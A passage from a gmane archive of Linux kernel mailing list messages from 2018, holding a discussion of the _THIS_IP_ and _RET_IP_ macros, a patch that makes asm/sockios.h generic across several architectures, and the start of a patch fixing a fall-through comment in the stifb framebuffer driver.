Xref: news.gmane.org gmane.linux.kernel.arc:4240 gmane.linux.ports.mips.general:66198 gmane.linux.ports.sh.devel:57413 gmane.linux.kernel:2853906 gmane.linux.ports.m68k:10227 gmane.linux.ports.ia64:29132 gmane.linux.ports.hexagon:1826 gmane.linux.ports.arm.kernel:670324 gmane.linux.ports.parisc:28918 gmane.linux.ports.alpha:5214 gmane.linux.ports.sparc:28243 gmane.linux.ports.riscv:548 gmane.linux.ports.ppc64.devel:161688
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4240>

On 08/27/18 06:11, Peter Zijlstra wrote:
> On Mon, Aug 27, 2018 at 05:26:53AM -0700, H. Peter Anvin wrote:
> 
>> _THIS_IP_, however, is completely ill-defined, other than being an
>> address *somewhere* in the same global function (not even necessarily
>> the same function if the function is static!)  As my experiment show, in
>> many (nearly) cases gcc will hoist the address all the way to the top of
>> the function, at least for the current generic implementation.
> 
> It seems to have mostly worked so far... did anything change?
> 

Most likely because the major architectures contain a arch-specific
assembly implementation.  The generic implementation used in some places
is completely broken, as my experiments show.

>> For the case where _THIS_IP_ is passed to an out-of-line function in all
>> cases, it is extra pointless because all it does is increase the
>> footprint of every caller: _RET_IP_ is inherently passed to the function
>> anyway, and with tailcall protection it will uniquely identify a callsite.
> 
> So I think we can convert many of the lockdep _THIS_IP_ calls to
> _RET_IP_ on the other side, with a wee bit of care.
> 
> A little something like so perhaps...

I don't have time to look at this right now (I'm on sabbatical, and I'm
dealing with personal legal stuff right at the moment), but I think it
is the right direction.

	-hpa

From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.kernel.cross-arch,gmane.linux.kernel.year-2038,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH net-next 2/3] asm-generic: generalize asm/sockios.h
Date: Wed, 29 Aug 2018 14:59:11 +0200
Lines: 136
Approved: news@gmane.org
Message-ID: <20180829130308.3504560-2-arnd@arndb.de>
References: <20180829130308.3504560-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1535547774 12478 195.159.176.226 (29 Aug 2018 13:02:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 29 Aug 2018 13:02:54 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, y2038@lists.linaro.org,
        Arnd Bergmann <arnd@arndb.de>, Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>, x86@kernel.org,
        Al Viro <viro@zeniv.linux.org.uk>, linux-ia64@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: netdev@vger.kernel.org, "David S . Miller" <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 29 15:02:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fv07U-00038N-Tw
	for glk-linux-kernel-4@m.gmane.org; Wed, 29 Aug 2018 15:02:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728594AbeH2RBs (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 29 Aug 2018 13:01:48 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.10]:40593 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726848AbeH2RBr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 29 Aug 2018 13:01:47 -0400
Original-Received: from wuerfel.lan ([109.193.40.16]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPA (Nemesis) id
 0MNvNj-1g1IkR1e27-007WRz; Wed, 29 Aug 2018 15:04:36 +0200
X-Mailer: git-send-email 2.18.0
In-Reply-To: <20180829130308.3504560-1-arnd@arndb.de>
X-Provags-ID: V03:K1:hYNj9qlYrG7wffQwQ11kkhNczSOtyzhmsG0cQmDZVsMZFwTtPPp
 u5THBJlqZDetbco7RCXHgfwWBJuivvSe+sgD/W+VMzvp/qXTLsvMutcBYb++5WpF1IlMXIh
 10myQQS18INRmj4/BSUg4YjF2VDSTZHaax3OksgK4G92iatoeAW0d+ZfkfBnuaKd+s3hRYT
 LCIK4N1MD2C2xGOGMpFOg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9z4T3+qheSo=:qZb1MXHiPuJ6QTL4OktLsi
 V2psAz6hUqoF896lfsPJ+mDP35GpZwqqpAWaOEULGd90p6ppFNGkvSjbXfVtoE2sH2pvPiwfh
 FBgCWAWQcX+7Y+ZCVTaoxrdsAMigj3pXY3lBhxr7bV7NpB45HlspuGrOE1IAE5fFHcSX6My2c
 0jztUenc+ugWsm9Ga54qgzec7msYKDwPX6x4xt/2DoIbkMO5aAPCBhb6J1RowF+EnizVkNHlu
 4BYLwVFWUFy8fQ4phNDFxLXxPiArEv5KXnEMO24l1RU16aYiTqhwWe+r/T9sIQTVPUidlTokB
 XVS1ZciWk6h4OVGJY0hjhKrCWanuoPjAjEYya3ll9WETMmY/xR1v81TdBprqR3IXGSWH9etIJ
 HABj8ZPb8v0er+pjWEsdIU4heDnR7J5DQVpNBtlYjnSTaIbT1mtCcbHEfm3LKe9QT6gU2FNTP
 RgV89dSz9larFIzeK5lNQPztMUv6+YCMK0mNruXWY7O7uMK1ZGAr/R3o6MNpZHEz0gRcfEdYt
 UY4e4rS6BcwUNyV6kF6x/p72R84lDDH0ImP589+PskrottzATG2aMbFPiOqOAoQqbVWd+RzVP
 KcJxeyP+F5JNpSnFTe+Mahph/Y/eQ/V7bXOcCawJHzJrDY6/YtbqYM3TZSALIjv9r8TRKFn6S
 PS70tnNnM1+aOlOtoqtIAKWJtgjnx67+YLzhuGKOKb4gbSBjLveoW7vuXT4I7gvjXAT0=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2855940 gmane.linux.network:551938 gmane.linux.kernel.cross-arch:45876 gmane.linux.kernel.year-2038:3262 gmane.linux.ports.ia64:29134 gmane.linux.ports.parisc:28919 gmane.linux.ports.sparc:28262
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2855940>

ia64, parisc and sparc just use a copy of the generic version
of asm/sockios.h, and x86 is a redirect to the same file, so we
can just let the header file be generated.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/ia64/include/uapi/asm/Kbuild      |  1 +
 arch/ia64/include/uapi/asm/sockios.h   | 21 ---------------------
 arch/parisc/include/uapi/asm/Kbuild    |  1 +
 arch/parisc/include/uapi/asm/sockios.h | 14 --------------
 arch/sparc/include/uapi/asm/Kbuild     |  1 +
 arch/sparc/include/uapi/asm/sockios.h  | 15 ---------------
 arch/x86/include/uapi/asm/Kbuild       |  1 +
 arch/x86/include/uapi/asm/sockios.h    |  1 -
 8 files changed, 4 insertions(+), 51 deletions(-)
 delete mode 100644 arch/ia64/include/uapi/asm/sockios.h
 delete mode 100644 arch/parisc/include/uapi/asm/sockios.h
 delete mode 100644 arch/sparc/include/uapi/asm/sockios.h
 delete mode 100644 arch/x86/include/uapi/asm/sockios.h

diff --git a/arch/ia64/include/uapi/asm/Kbuild b/arch/ia64/include/uapi/asm/Kbuild
index 3982e673e967..a6377ad3ba1c 100644
--- a/arch/ia64/include/uapi/asm/Kbuild
+++ b/arch/ia64/include/uapi/asm/Kbuild
@@ -8,3 +8,4 @@ generic-y += msgbuf.h
 generic-y += poll.h
 generic-y += sembuf.h
 generic-y += shmbuf.h
+generic-y += sockios.h
diff --git a/arch/ia64/include/uapi/asm/sockios.h b/arch/ia64/include/uapi/asm/sockios.h
deleted file mode 100644
index f27a12f95d20..000000000000
--- a/arch/ia64/include/uapi/asm/sockios.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
-#ifndef _ASM_IA64_SOCKIOS_H
-#define _ASM_IA64_SOCKIOS_H
-
-/*
- * Socket-level I/O control calls.
- *
- * Based on <asm-i386/sockios.h>.
- *
- * Modified 1998, 1999
- *	David Mosberger-Tang <davidm@hpl.hp.com>, Hewlett-Packard Co
- */
-#define FIOSETOWN 	0x8901
-#define SIOCSPGRP	0x8902
-#define FIOGETOWN	0x8903
-#define SIOCGPGRP	0x8904
-#define SIOCATMARK	0x8905
-#define SIOCGSTAMP	0x8906		/* Get stamp (timeval) */
-#define SIOCGSTAMPNS	0x8907		/* Get stamp (timespec) */
-
-#endif /* _ASM_IA64_SOCKIOS_H */
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a5904b..be6c171f57f7 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,4 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += sockios.h
diff --git a/arch/parisc/include/uapi/asm/sockios.h b/arch/parisc/include/uapi/asm/sockios.h
deleted file mode 100644
index 66a3ba64d53f..000000000000
--- a/arch/parisc/include/uapi/asm/sockios.h
+++ /dev/null
@@ -1,14 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
-#ifndef __ARCH_PARISC_SOCKIOS__
-#define __ARCH_PARISC_SOCKIOS__
-
-/* Socket-level I/O control calls. */
-#define FIOSETOWN 	0x8901
-#define SIOCSPGRP	0x8902
-#define FIOGETOWN	0x8903
-#define SIOCGPGRP	0x8904
-#define SIOCATMARK	0x8905
-#define SIOCGSTAMP	0x8906		/* Get stamp (timeval) */
-#define SIOCGSTAMPNS	0x8907		/* Get stamp (timespec) */
-
-#endif
diff --git a/arch/sparc/include/uapi/asm/Kbuild b/arch/sparc/include/uapi/asm/Kbuild
index 4680ba246b55..8fdae51d0eae 100644
--- a/arch/sparc/include/uapi/asm/Kbuild
+++ b/arch/sparc/include/uapi/asm/Kbuild
@@ -2,4 +2,5 @@
 include include/uapi/asm-generic/Kbuild.asm
 
 generic-y += bpf_perf_event.h
+generic-y += sockios.h
 generic-y += types.h
diff --git a/arch/sparc/include/uapi/asm/sockios.h b/arch/sparc/include/uapi/asm/sockios.h
deleted file mode 100644
index 18a3ec14a847..000000000000
--- a/arch/sparc/include/uapi/asm/sockios.h
+++ /dev/null
@@ -1,15 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
-#ifndef _ASM_SPARC_SOCKIOS_H
-#define _ASM_SPARC_SOCKIOS_H
-
-/* Socket-level I/O control calls. */
-#define FIOSETOWN 	0x8901
-#define SIOCSPGRP	0x8902
-#define FIOGETOWN	0x8903
-#define SIOCGPGRP	0x8904
-#define SIOCATMARK	0x8905
-#define SIOCGSTAMP	0x8906		/* Get stamp (timeval) */
-#define SIOCGSTAMPNS	0x8907		/* Get stamp (timespec) */
-
-#endif /* !(_ASM_SPARC_SOCKIOS_H) */
-
diff --git a/arch/x86/include/uapi/asm/Kbuild b/arch/x86/include/uapi/asm/Kbuild
index 322681622d1e..1d489e6b237e 100644
--- a/arch/x86/include/uapi/asm/Kbuild
+++ b/arch/x86/include/uapi/asm/Kbuild
@@ -6,3 +6,4 @@ generated-y += unistd_32.h
 generated-y += unistd_64.h
 generated-y += unistd_x32.h
 generic-y += poll.h
+generic-y += sockios.h
diff --git a/arch/x86/include/uapi/asm/sockios.h b/arch/x86/include/uapi/asm/sockios.h
deleted file mode 100644
index def6d4746ee7..000000000000
--- a/arch/x86/include/uapi/asm/sockios.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/sockios.h>
-- 
2.18.0



From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Fri, 31 Aug 2018 09:48:56 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <CAKwvOdmXhRZJ5bQw+W0Ro+oeWSTRJzG1UAJnjyjciR1JFs+ubA@mail.gmail.com>
References: <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
 <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
 <20180827073358.GV24124@hirez.programming.kicks-ass.net>
 <f9896d68-4a49-e666-cea5-a9c0522f1658@zytor.com>
 <20180827131103.GD24124@hirez.programming.kicks-ass.net>
 <4d1a8f35-e2fc-70d2-ca0e-44b8574c86f1@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535734056 11111 195.159.176.226 (31 Aug 2018 16:47:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 31 Aug 2018 16:47:36 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 Matt Turner <mattst88@gmail.com>, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>,
 =?UTF-8?B?QWxleCBCZW5uw6ll?= <alex.bennee@linaro.org>, rth@twiddle.net,
 jkosina@suse.cz, LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org,
 rkuo@codeaurora.org, paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Aug 31 18:47:23 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fvmZu-0002V3-IB
	for gla-linux-snps-arc@m.gmane.org; Fri, 31 Aug 2018 18:47:22 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	In-Reply-To:References:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=uPK7SUogjrFbV1F0zVInHfuefnDhQ7ws4nvm0gi0cWk=; b=RQML+wWd3vd/V9
	nL94TK2CqJ9uTzvGDUu5qT3MszFsFqRv36MPsoVzTjg4N+T28FyTHQWXDU8uaiqmF4UStoZHHaunV
	0zGLFT2g0tgLTBvv4eK0l5VoivVKZ6sl/juvCs/D5JO3rgSFkwMkWNYqL9RW3+yqXl5cFqghWMf4h
	KRojBNmVHBCMEQSnJjSJTz3sZFFoj96CMTA/gL3rfqtKnitHVX/30UW4wDAdoY8TMwyv1QfhPjDGp
	7IV9Uc069liV5YaOw1pRymKhtJlbN8jZ1RGdLdA2Z00I88jf6cvLxilS1GOpbUIzAeVdNa00hO2a6
	54LHUecjosNpoWIq8mqg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fvmbw-00008R-23; Fri, 31 Aug 2018 16:49:28 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fvmbr-00006f-52
 for linux-snps-arc@lists.infradead.org; Fri, 31 Aug 2018 16:49:26 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id k19-v6so5790162pfi.1
 for <linux-snps-arc@lists.infradead.org>; Fri, 31 Aug 2018 09:49:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:references:in-reply-to:from:date:message-id:subject:to
 :cc; bh=bCAuXK2OzX1Y32o4nfX28eLgRp+6m9IIcFWuemVE5WY=;
 b=N18YRpr8Sb1LGBugLd2WKciz/6inmAgY4pGO/BJSgASuLXw3cUZK9Fc91sHLPyPzur
 h59KQ9BlIUiAigm8ubE55V4N6/53+5jD/Kbcq0N4xoPSeBxIkDwJwdwSUWzEzVMbb0TZ
 MFQdDCBv+rpJUkfTRi2D3PtRo5/qh6AEEdTLb/aEIliVhnpYKjp4Q2bakgARP51iJNrC
 01+GpwMzT5JyHtVWTwLziSLHTD5MwGA+OqGWBpU6VPF6Pu/NKBJ6SM3aDjR6VSQ6Wq36
 zTPjlA8/quUpxZwtwYw69Qzm4KCXQAHE0iJNTjbS/JujWES9LuRc4lxfgVtesjPXWf5A
 nGaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=bCAuXK2OzX1Y32o4nfX28eLgRp+6m9IIcFWuemVE5WY=;
 b=h/nF4tgm5BgSiSYAuMKAwF51x7EKo+QtxB4IPouafEQo2BeUz/OtDsx3GN559Tj1E6
 G5ZAwmiZDwhW1T/5FD+Bix5WPUO7WwJ9LkYB62IE2VtzNKdE09FldxS83fQ/FkO88MH5
 vzVPuaEFIKqTIFSd27PICUZIvnfsYq3wEmnrCgkmUvPIMAxhW+G8WEw/Y5wZ0//HqbCI
 29yBI4/TuDqqNzKlithb1dOAYoGpYcBWVez2WDdyOmnnX8lFHgzgtnj6ULBy1G3lyZ6t
 sXC/9W1QmyN79juDr/fcRoWMAmLpZzBrKK3hnjNGe4J4Nv5BZVuCRkoL3NPgPC8SDNek
 CxqQ==
X-Gm-Message-State: APzg51AyrggC57o6kVyGHyUrv09tScgj1pB4kc1FzJ2IuN+9lMxY6Vnr
 IU5JStc/4T8wQmZPLarQbl/jbe7nlufMYrogEIE+Pg==
X-Google-Smtp-Source: ANB0VdbRCc3PpGAdVeCprV2/GhB/CLIRt66A5Es0TtK/QPaElj4MkPRSFfBiaWIFkeOLJu35AGY3WpglDxV6XSZ036A=
X-Received: by 2002:a63:c245:: with SMTP id
 l5-v6mr15273352pgg.255.1535734148077; 
 Fri, 31 Aug 2018 09:49:08 -0700 (PDT)
In-Reply-To: <4d1a8f35-e2fc-70d2-ca0e-44b8574c86f1@zytor.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180831_094923_233764_DED5A8F8 
X-CRM114-Status: GOOD (  20.59  )
X-Spam-Score: -15.6 (---------------)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-15.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -7.5 USER_IN_DEF_SPF_WL     From: address is in the default SPF white-list
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -7.5 USER_IN_DEF_DKIM_WL    From: address is in the default DKIM white-list
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.5 ENV_AND_HDR_SPF_MATCH  Env and Hdr From used in default SPF WL Match
 -0.0 T_DKIMWL_WL_MED        DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4277 gmane.linux.ports.mips.general:66264 gmane.linux.ports.sh.devel:57416 gmane.linux.kernel:2858322 gmane.linux.ports.m68k:10228 gmane.linux.ports.ia64:29135 gmane.linux.ports.hexagon:1828 gmane.linux.ports.arm.kernel:671587 gmane.linux.ports.parisc:28920 gmane.linux.ports.alpha:5216 gmane.linux.ports.sparc:28267 gmane.linux.ports.riscv:601 gmane.linux.ports.ppc64.devel:161877
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4277>

On Mon, Aug 27, 2018 at 6:34 AM H. Peter Anvin <hpa@zytor.com> wrote:
>
> On 08/27/18 06:11, Peter Zijlstra wrote:
> > On Mon, Aug 27, 2018 at 05:26:53AM -0700, H. Peter Anvin wrote:
> >
> >> _THIS_IP_, however, is completely ill-defined, other than being an
> >> address *somewhere* in the same global function (not even necessarily
> >> the same function if the function is static!)  As my experiment show, in
> >> many (nearly) cases gcc will hoist the address all the way to the top of
> >> the function, at least for the current generic implementation.
> >
> > It seems to have mostly worked so far... did anything change?
> >
>
> Most likely because the major architectures contain a arch-specific
> assembly implementation.  The generic implementation used in some places
> is completely broken, as my experiments show.
>
> >> For the case where _THIS_IP_ is passed to an out-of-line function in all
> >> cases, it is extra pointless because all it does is increase the
> >> footprint of every caller: _RET_IP_ is inherently passed to the function
> >> anyway, and with tailcall protection it will uniquely identify a callsite.
> >
> > So I think we can convert many of the lockdep _THIS_IP_ calls to
> > _RET_IP_ on the other side, with a wee bit of care.
> >
> > A little something like so perhaps...
>
> I don't have time to look at this right now (I'm on sabbatical, and I'm
> dealing with personal legal stuff right at the moment), but I think it
> is the right direction.
>
>         -hpa

Linus,
Can this patch please be merged?  Then we can polish off Peter's
change to lockdep to not even use _THIS_IP_.

-- 
Thanks,
~Nick Desaulniers

From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.comp.video.dri.devel
Subject: [PATCH] video/fbdev/stifb: Fix spelling mistake in fall-through
 annotation
Date: Mon, 3 Sep 2018 15:07:28 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20180903200728.GA22414@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1536005164 21934 195.159.176.226 (3 Sep 2018 20:06:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Sep 2018 20:06:04 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-parisc@vger.kernel.org, dri-devel@lists.freedesktop.org,
        linux-fbdev@vger.kernel.org, linux-kernel@vger.kernel.org,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 03 22:05:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fwv6k-0005Yo-Mr
	for glk-linux-kernel-4@m.gmane.org; Mon, 03 Sep 2018 22:05:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728743AbeIDA3t (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 3 Sep 2018 20:29:49 -0400
Original-Received: from gateway20.websitewelcome.com ([192.185.54.2]:29157 "EHLO
        gateway20.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1728486AbeIDA3t (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 3 Sep 2018 20:29:49 -0400
X-Greylist: delayed 945 seconds by postgrey-1.27 at vger.kernel.org; Mon, 03 Sep 2018 20:29:48 EDT
Original-Received: from cm16.websitewelcome.com (cm16.websitewelcome.com [100.42.49.19])
        by gateway20.websitewelcome.com (Postfix) with ESMTP id CDFAD400DA9F8
        for <linux-kernel@vger.kernel.org>; Mon,  3 Sep 2018 15:08:02 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id wv8EfTFHbaSeywv8XfwKZi; Mon, 03 Sep 2018 15:08:02 -0500
X-Authority-Reason: nr=8
Original-Received: from [189.250.106.191] (port=43944 helo=embeddedor)
        by gator4166.hostgator.com with esmtpa (Exim 4.91)
        (envelope-from <gustavo@embeddedor.com>)
        id 1fwv8D-0033cP-8c; Mon, 03 Sep 2018 15:07:29 -0500
Content-Disposition: inline
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.250.106.191
X-Source-L: No
X-Exim-ID: 1fwv8D-0033cP-8c
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: (embeddedor) [189.250.106.191]:43944
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 7
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2860588 gmane.linux.ports.parisc:28921 gmane.comp.video.dri.devel:234962
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2860588>

Replace "fall though" with a proper "fall through" annotation.

This fix is part of the ongoing efforts to enabling
-Wimplicit-fallthrough

Addresses-Coverity-ID: 402013 ("Missing break in switch")
Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>
---
 drivers/video/fbdev/stifb.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index 045e8af..9e88e3f 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
